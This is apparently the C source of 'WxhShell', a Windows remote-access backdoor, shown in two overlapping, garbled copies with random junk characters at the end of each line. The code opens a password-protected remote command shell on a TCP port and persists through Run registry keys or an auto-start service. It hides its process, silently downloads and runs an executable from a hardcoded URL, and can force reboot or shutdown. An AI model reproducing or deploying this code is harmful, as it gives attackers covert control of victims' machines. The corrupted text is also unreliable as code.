    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z{D$~ ob  
    if(Boot(SHUTDOWN)) VV0EgfJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vc>^.#7   
    else { 7})!>p )  
    closesocket(wsh); DU*g~{8T$  
    ExitThread(0); OUBgBr   
    } S+_A <p  
    break; zCj*:n  
    } _-|yCo  
  // 获取shell o5*74Mv  
  case 's': { V\k5h  
    CmdShell(wsh); wa(Wit"-  
    closesocket(wsh); T;:',T[G  
    ExitThread(0); 0btmao-  
    break; :N*q;j>  
  } Sq?6R}q%  
  // 退出 O9qKwn;q(  
  case 'x': { NR;S3-Iq(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T_(e(5  
    CloseIt(wsh); #RLch  
    break; C~ }Wo5  
    } i)`zKbK  
  // 离开 D:6x*+jah)  
  case 'q': { _Sk< S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U47k5s(J  
    closesocket(wsh); RBv=  
    WSACleanup(); -pU\"$nuxH  
    exit(1); `3>)BV<P  
    break; YVZSKU  
        } &t.>^7ELF  
  } qN`]*baS  
  } W(PW9J9  
tI!R5q;k  
  // 提示信息 G5XnGl }Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [hv3o0".  
} 3$kv%uf{  
  } *NwKD:o  
.U(SkZ`6  
  return; i*cE  
} &' Nk2{  
!3X%5=#L4  
// shell模块句柄 (PT?h>|St  
int CmdShell(SOCKET sock) M;RnH##W  
{ k>z-Zg  
STARTUPINFO si; i_ODgc`H  
ZeroMemory(&si,sizeof(si)); P+zI9~N[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q2j}64o _S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @=zBF'<.9  
PROCESS_INFORMATION ProcessInfo; ^kR^ QL$  
char cmdline[]="cmd"; B,VSFpPx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gx>mKSzy  
  return 0; f@. Q%+!4  
} k~9Ywf  
_I70qz8  
// 自身启动模式 5Ret,~Vs9|  
int StartFromService(void) hk$nlc|$  
{ Uf]Pd)D  
typedef struct ##+ 8GLQM  
{ j>Bk; f|  
  DWORD ExitStatus; %Ty {1'o  
  DWORD PebBaseAddress; zH\;pmWiN9  
  DWORD AffinityMask; 9q ,Jq B  
  DWORD BasePriority; X)R] a]1A  
  ULONG UniqueProcessId; gZ=9Y:$  
  ULONG InheritedFromUniqueProcessId; HOQ _T4  
}   PROCESS_BASIC_INFORMATION; "}x70q'>S  
 v=Bh A9[  
PROCNTQSIP NtQueryInformationProcess; me`$5Z`  
*1$~CC7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {j=hQL3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uu/7Ie  
"s6_lhu=E7  
  HANDLE             hProcess; [N$_@[  
  PROCESS_BASIC_INFORMATION pbi; #1!BD!u  
{8p?we3l1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _TcQ12H 5<  
  if(NULL == hInst ) return 0; 8RT0&[  
Q c< O; #  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A kQFb2|ir  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Xqva&/-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |/Q."d  
{kO:HhUg  
  if (!NtQueryInformationProcess) return 0; Q+js2?7^  
F4{. 7BT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $mg h.3z0  
  if(!hProcess) return 0; l#f]KLv4N_  
oW1olmpp=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "uER a(i  
..{^"`FQ  
  CloseHandle(hProcess); x3F L/^S  
,^[37/S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^ J@i7FOb  
if(hProcess==NULL) return 0; DmA!+  
NP`ll0s  
HMODULE hMod; <1%XN  
char procName[255]; -ns a3P  
unsigned long cbNeeded; F88SV6  
mNB ]e5 ;N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y$5v3E\uc  
sWzXl~JbF  
  CloseHandle(hProcess); UHszOl  
m`0{j1K  
if(strstr(procName,"services")) return 1; // 以服务启动 `X03Q[:q"[  
D(?#oCCA  
  return 0; // 注册表启动 %ycT}Lu  
} 7ib<Cb>K  
`.Q3s?1F  
// 主模块 F9%VyQf  
int StartWxhshell(LPSTR lpCmdLine) aVL%-Il}  
{ l zkn B  
  SOCKET wsl; I}3K,w/7mi  
BOOL val=TRUE; ?Og ;W9i  
  int port=0; 9e*poG  
  struct sockaddr_in door; .y/?~+N^  
p tfADG  
  if(wscfg.ws_autoins) Install(); S$:S*6M@"  
DuZ]g#  
port=atoi(lpCmdLine); U.jMK{  
td$Jx}'A  
if(port<=0) port=wscfg.ws_port; z1A-EeT  
.b)(_*  
  WSADATA data; oK[,xqyA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QCnVZ" !(  
I#e*,#'S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gvt4'kp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #>NZN1  
  door.sin_family = AF_INET; +6E<+-N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zOp"n\  
  door.sin_port = htons(port); ]&BFV%kw  
`N,Jiw;bw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { : P2;9+v  
closesocket(wsl); P3>2=qK"E(  
return 1; Z)~4)71Y:  
} ^el:)$  
g}h0J%s  
  if(listen(wsl,2) == INVALID_SOCKET) { (P_+m#  
closesocket(wsl); P1jkoJ  
return 1; k{8N@&D  
} G _o4A:2  
  Wxhshell(wsl); LRgk9*@,  
  WSACleanup(); L2tmo-]nw  
rbWFq|(_  
return 0; HX[#tT|m~  
t?Znil|o  
} fTcRqov  
)E|Bb=%  
// 以NT服务方式启动 g9.hR8X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .!! yj,bQz  
{ s=+G%B'  
DWORD   status = 0; 5$w1[}UUd  
  DWORD   specificError = 0xfffffff; X} 8U-N6)  
}%|OnEk"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *n\qV*|6bI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C<ljBz`,t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]5CFL$_Q{  
  serviceStatus.dwWin32ExitCode     = 0; d{jl&:  
  serviceStatus.dwServiceSpecificExitCode = 0; Po[zzj>m  
  serviceStatus.dwCheckPoint       = 0; ==9Ez  
  serviceStatus.dwWaitHint       = 0; Kxn=iv^Ir  
kM@,^`&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Nq8A vBwo4  
  if (hServiceStatusHandle==0) return; I-I5^s  
)c_ll;%  
status = GetLastError(); p-_j0zv  
  if (status!=NO_ERROR) IuL ]V TY  
{ mbK$Wp#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9:WKG'E8a  
    serviceStatus.dwCheckPoint       = 0; 3m'6cMQ  
    serviceStatus.dwWaitHint       = 0; X;0@41t'  
    serviceStatus.dwWin32ExitCode     = status; u-$AFSt  
    serviceStatus.dwServiceSpecificExitCode = specificError; dEn hNPeRl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZBWe,Xvq  
    return;  Qy%/+9L  
  } 78"W ~`8  
%]` WsG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4+0Zj+ q";  
  serviceStatus.dwCheckPoint       = 0; rXMv&]Ag  
  serviceStatus.dwWaitHint       = 0; :0l(Ll KD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q]aRJ`9f  
} ueOvBFgZ  
I <7K^j+5:  
// 处理NT服务事件,比如:启动、停止 ZL Aq8X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~*qGH  
{ $i hI Hl6'  
switch(fdwControl) ?bEYvHAzg  
{ S;C3R5*:  
case SERVICE_CONTROL_STOP: l d@^ $  
  serviceStatus.dwWin32ExitCode = 0; e-WaK0Ep  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >; Bhl|r~z  
  serviceStatus.dwCheckPoint   = 0; +q(D]:@,[  
  serviceStatus.dwWaitHint     = 0; n.)-aRu[  
  { )]}*oO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cn,dr4J[  
  } xFJ>s-g*  
  return; ETIf x)B-  
case SERVICE_CONTROL_PAUSE: sdY6_HtE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pGC`HTo|  
  break; _i&\G}mrC  
case SERVICE_CONTROL_CONTINUE: tPUQ"S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +1Uw<~  
  break; hN.#ui5 $  
case SERVICE_CONTROL_INTERROGATE: rtI4W  
  break; {>:2Ff]O:  
}; P_;oSN|>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &sW/r::,  
} >TE&myZ?*  
NO&OuiN  
// 标准应用程序主函数 h ( Z7a%_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yP@= x!$  
{ ,Ubnz  
9}4L 8?2  
// 获取操作系统版本 @ZmpcoDI  
OsIsNt=GetOsVer(); {Hb _o)S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pD]Ry" ZG  
ZE :oK   
  // 从命令行安装 k";;Snk  
  if(strpbrk(lpCmdLine,"iI")) Install(); f7`y*9^  
w9 N Um  
  // 下载执行文件 N\p3*#M  
if(wscfg.ws_downexe) { 8E" .y$AW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xsa* XR  
  WinExec(wscfg.ws_filenam,SW_HIDE); wxoBq{r;  
} NENbr$,G  
r4-r z+x  
if(!OsIsNt) { 8z+ CYeV  
// 如果时win9x,隐藏进程并且设置为注册表启动 )a.U|[:y[+  
HideProc(); 1.uyu  
StartWxhshell(lpCmdLine); i^n&K:6  
} { d/k0H  
else 6PTD%Rf\  
  if(StartFromService()) q[+];  
  // 以服务方式启动 Gf"/fpeQx  
  StartServiceCtrlDispatcher(DispatchTable); 6L2.88 i  
else 3A+d8fwi  
  // 普通方式启动 <mpkkCl,  
  StartWxhshell(lpCmdLine); )'qZ6%  
<@?bYp  
return 0; >FY`xl\m}<  
} WUHijHo5(8  
G6I>Ry[2?  
^rx]Y;  
@)1u  
=========================================== Oh|Hy/&6W  
d9E:LZy  
J3K!@m_\  
@P% &Dha  
s]}P jh8  
ATwPfo8jx@  
" c(@)V.o2  
.~Td /o7  
#include <stdio.h> VG)kPKoi  
#include <string.h> "6.kZ$`%  
#include <windows.h> ]/U)<{6  
#include <winsock2.h> "*?^'(yA@  
#include <winsvc.h> EKgTRRW  
#include <urlmon.h> 8)T.[AP  
3]V" 9+  
#pragma comment (lib, "Ws2_32.lib") BaqRAO7  
#pragma comment (lib, "urlmon.lib") ,%Dn}mWu  
oKzLt  
#define MAX_USER   100 // 最大客户端连接数 x%0Q W  
#define BUF_SOCK   200 // sock buffer @<l7"y;\  
#define KEY_BUFF   255 // 输入 buffer 3^C  
q*52|?  
#define REBOOT     0   // 重启 IRD?.K]*  
#define SHUTDOWN   1   // 关机 ]x?`&f8i  
85-00m ~  
#define DEF_PORT   5000 // 监听端口 9z,V]v=  
=lA*?'kd  
#define REG_LEN     16   // 注册表键长度 tvavI9  
#define SVC_LEN     80   // NT服务名长度 c?IFI   
{4\(HrGNk  
// 从dll定义API :IvKxOv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D&$%JT'3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n-0RA~5z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6f(K'v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i#=s_v8  
F^z&s]^~  
// wxhshell配置信息 +O2T%  
struct WSCFG { w 7s+6,  
  int ws_port;         // 监听端口 8 Zhx&  
  char ws_passstr[REG_LEN]; // 口令 U TC|8  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]gx]7  
  char ws_regname[REG_LEN]; // 注册表键名 Z2!O)8  
  char ws_svcname[REG_LEN]; // 服务名 `2( )Vf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .Xqe]cax%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h`;w/+/Zr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aOIE9wO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \ ?sM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7&-B6Y4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 unY+/p $  
T5$db-^  
}; ^Cs?FF@P  
ezS@LFaA  
// default Wxhshell configuration H$^IT#  
struct WSCFG wscfg={DEF_PORT, w7+3?'L  
    "xuhuanlingzhe", P;G Rk6  
    1, s"gNHp.oF  
    "Wxhshell", xy;u"JY*  
    "Wxhshell", G |033(j  
            "WxhShell Service", =Kqb V{!  
    "Wrsky Windows CmdShell Service", 2SVBuV/R  
    "Please Input Your Password: ", Vz[tgb]-  
  1, jJc:%h$|2  
  "http://www.wrsky.com/wxhshell.exe", ^qvN:v$1  
  "Wxhshell.exe" l/ufu[x!a  
    }; AYb-BaIc  
KFZ2%:6>  
// 消息定义模块 WOkAma-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s aY;[bz}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oU"!"t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :k&R]bc9  
char *msg_ws_ext="\n\rExit."; Fp=O:]  
char *msg_ws_end="\n\rQuit."; Q &~|P}  
char *msg_ws_boot="\n\rReboot..."; $DS|jnpV  
char *msg_ws_poff="\n\rShutdown..."; wX/0.aZ|  
char *msg_ws_down="\n\rSave to "; rlMahY"C  
?5VPV9EX  
char *msg_ws_err="\n\rErr!"; g  Z!q  
char *msg_ws_ok="\n\rOK!"; Tew?e&eO  
z.Y`"B'j`  
char ExeFile[MAX_PATH]; p#;I4d G  
int nUser = 0; }aSTo"~m#  
HANDLE handles[MAX_USER]; 2J;_9 g&M  
int OsIsNt; g$S|CqRG  
b';oFUU>Q  
SERVICE_STATUS       serviceStatus; >8;EeRvI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P z< \q;  
kD*r@s]=  
// 函数声明 ag02=}Q'r  
int Install(void); /Pv dP#!  
int Uninstall(void); *TyLB&<t  
int DownloadFile(char *sURL, SOCKET wsh); z*,J0)<Q  
int Boot(int flag); SB x<-^  
void HideProc(void); |&u4Q /0  
int GetOsVer(void); y <] x  
int Wxhshell(SOCKET wsl); z ?L]5m` H  
void TalkWithClient(void *cs); 0]k-0#JM  
int CmdShell(SOCKET sock); BZP{{  
int StartFromService(void); $ VTk0J-W  
int StartWxhshell(LPSTR lpCmdLine); 2]:Z7Ji  
'f_[(o+n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1[:tiTG|C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2H,n"-9+  
lY$9-Q(  
// 数据结构和表定义 M!4}B  
SERVICE_TABLE_ENTRY DispatchTable[] = _=Y HO.  
{ qxbGUyH==  
{wscfg.ws_svcname, NTServiceMain}, Um%$TGw5  
{NULL, NULL} R1?LB"aN  
}; q=x1:^rVH  
Xn6'*u>+;[  
// 自我安装 n?mV(?N  
int Install(void) pq +~|  
{ zvOSQxGQ  
  char svExeFile[MAX_PATH]; Qv B%X)J  
  HKEY key; *f-8egt-  
  strcpy(svExeFile,ExeFile); |%$mN{  
6 K-jje;)  
// 如果是win9x系统,修改注册表设为自启动 R>B4v+b  
if(!OsIsNt) { VMl)_M:'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .azA1@V|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nhrh>x[wJ  
  RegCloseKey(key); FA$1&Fu3Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { St|B9V?eEB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pxV@fH+`  
  RegCloseKey(key); |5g1D^b]s^  
  return 0; "JpnmE[`  
    } w$$vR   
  } snvixbN  
} MVkO >s  
else { k.6(Q_TS  
F.$NYr/|y  
// 如果是NT以上系统,安装为系统服务 C^fUhLVSZ^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X;QhK] Z  
if (schSCManager!=0) &Xp<%[:  
{ ICm/9Onh&  
  SC_HANDLE schService = CreateService }0 b[/ZwQ  
  ( I%tJLdL  
  schSCManager, VQ/Jz5^  
  wscfg.ws_svcname, E3d# T  
  wscfg.ws_svcdisp, uoMDf{d  
  SERVICE_ALL_ACCESS, %y[ t+)!E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~T:L0||.%9  
  SERVICE_AUTO_START, Ja%(kq[v  
  SERVICE_ERROR_NORMAL, aqoxj[V^3L  
  svExeFile, Q|Go7MQZ@k  
  NULL, {Ax{N  
  NULL, $[M5V v  
  NULL, I3" GGp3L  
  NULL, R6E.C!EI  
  NULL B`/p[U5  
  ); >*e,+ok  
  if (schService!=0) 7yFV.#K3O  
  { 69JC!du  
  CloseServiceHandle(schService); ST25RJC  
  CloseServiceHandle(schSCManager); yQdoy^d/4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gF8n{b  
  strcat(svExeFile,wscfg.ws_svcname); rF)[ Sed:T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gvy c(d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +kZW:t!-  
  RegCloseKey(key); [fl^1!3{  
  return 0; b&xlT+GN  
    } L0EF CQ7  
  } m6YDyQC  
  CloseServiceHandle(schSCManager); AA~6r[*~  
} jLCZ JSK  
} {n-6e[  
\8iWcqJktN  
return 1; d,*#yzO  
}  KSB{Z TE  
h+d3JM  
// 自我卸载 az;o7[rI^  
int Uninstall(void) V7q-Pfh!y  
{ e sDd>W  
  HKEY key; uBqZ62{G  
1@ .Eh8y  
if(!OsIsNt) { _|} GhdYE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :y8wv|m  
  RegDeleteValue(key,wscfg.ws_regname); 1PnWgu  
  RegCloseKey(key); w//L2.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6%t>T~x  
  RegDeleteValue(key,wscfg.ws_regname); 2}8xY:|@(U  
  RegCloseKey(key); EH~XN9b  
  return 0; iR6w)  
  } \SQwIM   
} gy6Pf4Yo  
} Sz#dld Mz  
else { e9@7GaL`"S  
&(t/4)IZox  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +ht{ARX2(  
if (schSCManager!=0) K3On8  
{ M73d^z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Fg<rz&MR  
  if (schService!=0) mOE%:xq9-  
  { L2 ^-t7  
  if(DeleteService(schService)!=0) { E|>oseR  
  CloseServiceHandle(schService); +`s%-}-r  
  CloseServiceHandle(schSCManager); C)8>_PY[M  
  return 0; "l.1 UB&  
  } LH]<+Zren  
  CloseServiceHandle(schService); fBRU4q=^T  
  } C=uYX"  
  CloseServiceHandle(schSCManager); [K4wd%+  
} AHl1{* [  
} 5}" @$.{i  
Vp~c$y+  
return 1; N6wCCXd  
} :d,]BB  
@.SuHd  
// 从指定url下载文件 xhmrep6+<  
int DownloadFile(char *sURL, SOCKET wsh) 6 7{>x[  
{ ::eYd23  
  HRESULT hr; klwNeGF]N  
char seps[]= "/"; ;R x Rap  
char *token; QFYO_$1 Y)  
char *file; Vim*4^[#L  
char myURL[MAX_PATH]; n13#}i {tm  
char myFILE[MAX_PATH]; Yl#|+xYA5[  
%pk'YA{M)q  
strcpy(myURL,sURL); {ICW"R lcs  
  token=strtok(myURL,seps); -IF3'VG  
  while(token!=NULL) QaYUcma~n  
  { 4Cn% h)w  
    file=token; q+}KAk|]V  
  token=strtok(NULL,seps); 7Fd`M To  
  } E)}& p\{E  
-fILXu  
GetCurrentDirectory(MAX_PATH,myFILE); CW)JS3}W"  
strcat(myFILE, "\\"); eKw!%97>  
strcat(myFILE, file); bxrT[]  
  send(wsh,myFILE,strlen(myFILE),0); IqW4Q1>f  
send(wsh,"...",3,0); t6JM%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j[e<CGZ  
  if(hr==S_OK) ~aZy52H_#.  
return 0; 8M,AFZ>F  
else 7yM"G$  
return 1; k(bDj[0q^  
do$+ Eh  
} 6 J B"qd  
k/;%{@G)  
// 系统电源模块 :fx^{N!T  
int Boot(int flag) bCbpJZ  
{ iT2{3 t  
  HANDLE hToken; uihU)]+@t/  
  TOKEN_PRIVILEGES tkp; b:6NVHb%  
7XU$O$C  
  if(OsIsNt) { (Q4hm]<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #PJHwvr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 818,E  
    tkp.PrivilegeCount = 1; ;if PqL kO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bMp[:dw`y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fb*h.6^y9  
if(flag==REBOOT) { ]o<&Q52|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z&![W@m@0N  
  return 0; ;rqW?':(i  
} ALY3en9,  
else { L#6!W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2P( 6R.8;6  
  return 0; W_bp~Wu  
} @yj$  
  } "pInb5F  
  else { m<liPl uv  
if(flag==REBOOT) { >.o<}!FW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \~BYY|UB;W  
  return 0; kuI$VC  
} ?l>Ra0  
else { B{ hV|2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;#XF.l,u  
  return 0; $No^\.mV  
} |QHIB?C?`  
} F"| ;  
k((kx:  
return 1; Y~Z&h?H'}  
} UpSa7F:Uw  
w/, A@fLL  
// win9x进程隐藏模块 9  M90X8  
void HideProc(void) ]MmFtdvE  
{ Q79WGW  
m`9P5[m#x>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U: q4OtiP  
  if ( hKernel != NULL ) q${+I(b,  
  { AK//]   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ">v- CSHY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f7?u`"C  
    FreeLibrary(hKernel); = J0r,dR  
  } :qvA'.L/;z  
4Dw| I${O  
return; Im"8+756  
} TdL/tg!  
_Rk>yJD7s  
// 获取操作系统版本 ,E &W{b  
int GetOsVer(void) X3j|J/  
{ z0 J:"M  
  OSVERSIONINFO winfo; *(o^w'5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p>1Klh:8.'  
  GetVersionEx(&winfo); c?}{>ig/)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ekCt1^5Y  
  return 1; + %H2;8{F  
  else ]T>|Y0|  
  return 0; S #C;"se  
} H><! C  
A",Xn/d  
// 客户端句柄模块 RPZ -  
int Wxhshell(SOCKET wsl) tN_~zP  
{ ]htx9ds=  
  SOCKET wsh; kPYQcOK8  
  struct sockaddr_in client; /rnP/X)T  
  DWORD myID; @#::C@V]  
uWkuw5;  
  while(nUser<MAX_USER) 8nTdZu  
{ I@uin|X  
  int nSize=sizeof(client); Qy\K oo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W:1GY#Pe  
  if(wsh==INVALID_SOCKET) return 1; U(\ ^!S1  
IRbZ ;*3dO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mU;\,96#  
if(handles[nUser]==0) t Z]b0T(e  
  closesocket(wsh); p;rT#R&6>  
else *W<|5<<u@  
  nUser++; | (: PX  
  } '_%`0p1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E|ZLz~  
{3G2-$yb  
  return 0; dUP8[y  
} '+iqbcUd,  
4Dv42fO  
// 关闭 socket vL Qh r&I  
void CloseIt(SOCKET wsh) J-Wphc!m  
{ ;op 8r u  
closesocket(wsh); Y -G;;~  
nUser--; K Z Q `  
ExitThread(0); sRSy++FRF  
} ym6gj#2m  
"%)^:('Ki  
// 客户端请求句柄 :\,3=suWq  
void TalkWithClient(void *cs) vY(xH>Fd  
{ y0cB@pWp  
S<DS|qOo  
  SOCKET wsh=(SOCKET)cs; n##d!d|g  
  char pwd[SVC_LEN]; Hbi2amfBu  
  char cmd[KEY_BUFF]; 3&7$N#v  
char chr[1];  ^6Y:9+  
int i,j; pax;#*QcQ  
l;'c6o0e  
  while (nUser < MAX_USER) { y3pr(w9A  
AV^Sla7|_  
if(wscfg.ws_passstr) { Qh@A7N/L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wo~#R   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dv[ 35[Yh  
  //ZeroMemory(pwd,KEY_BUFF); \k)(:[^FY  
      i=0; |\S p IFH1  
  while(i<SVC_LEN) { d=8q/]_p  
o;2QZ"v  
  // 设置超时 nK5FPFz8  
  fd_set FdRead; Oa|'wh ug  
  struct timeval TimeOut; y}!}*Qj+/  
  FD_ZERO(&FdRead); l*z.20^P  
  FD_SET(wsh,&FdRead); _ya_Jf*  
  TimeOut.tv_sec=8; i& ybvTl  
  TimeOut.tv_usec=0; I:G4i}mA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #jNN?,ZK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FZ^j|2.L*  
o$_,2$>mn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sy;_%,}N  
  pwd=chr[0]; Wa+q[E  
  if(chr[0]==0xd || chr[0]==0xa) { [Oy5Td7[  
  pwd=0; m6oaO9"K  
  break; MUfhk)"  
  } O5eTkKUc  
  i++; wA;Cj  
    } ]~1Xx:X-  
{*J{1)2  
  // 如果是非法用户,关闭 socket 0O:')R&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .y~vn[qN  
} -r!sY+Z>  
WVfwt.Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3/q) %Z^=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b qNM  
&?xZ Hr`  
while(1) { t}]R0O.s  
cq,0?2R`t  
  ZeroMemory(cmd,KEY_BUFF); 5p7?e3  
^$I8ga  
      // 自动支持客户端 telnet标准   s35`{PR  
  j=0; oX #WT  
  while(j<KEY_BUFF) { o6[aP[~F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -x?I6>{  
  cmd[j]=chr[0]; <//#0r*  
  if(chr[0]==0xa || chr[0]==0xd) { b,Vg3BS  
  cmd[j]=0; m<X[s  
  break; #{BHH;J+  
  } <)dHe:  
  j++; iYk4=l  
    } _^5OoE"}!  
*VPj BzcH  
  // 下载文件 T7bD t  
  if(strstr(cmd,"http://")) { e 1$<,.>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AYP*J  
  if(DownloadFile(cmd,wsh)) 9cwy;au  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =W_Pph  
  else i=^!? i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %7y8a`}  
  } $%P?2g"j,  
